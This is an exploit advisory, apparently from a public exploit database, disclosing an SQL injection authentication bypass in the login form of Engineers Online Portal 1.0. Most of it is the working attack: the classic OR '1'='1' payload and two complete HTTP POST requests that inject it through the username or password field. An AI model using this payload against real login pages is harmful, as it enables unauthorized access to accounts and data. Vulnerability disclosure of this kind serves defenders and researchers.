Engineers Online Portal 1.0 - 'multiple' Authentication Bypass

# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Authentication Bypass
# Exploit Author: Alon Leviev
# Date: 22-10-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip
# Version: 1.0
# Tested on: Kali Linux 
# Vulnerable page: login.php
# VUlnerable parameters: "username", "password"

Technical description:
An SQL Injection vulnerability exists in the Engineers Online Portal login form which can allow an attacker to bypass authentication. 

Steps to exploit:
1) Navigate to http://localhost/nia_munoz_monitoring_system/login.php
2) Insert your payload in the user or password field 
3) Click login

Proof of concept (Poc):
The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 
' OR '1'='1';-- -

--- 

POST /nia_munoz_monitoring_system/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Origin: http://localhost
Connection: close
Referer: http://localhost/nia_munoz_monitoring_system/
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9

username='+or+'1'%3D'1'%3B--+-&password=sqli

OR

POST /nia_munoz_monitoring_system/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://localhost
Connection: close
Referer: http://localhost/nia_munoz_monitoring_system/
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9

username=sqli&password='+or+'1'%3D'1'%3B--+-

---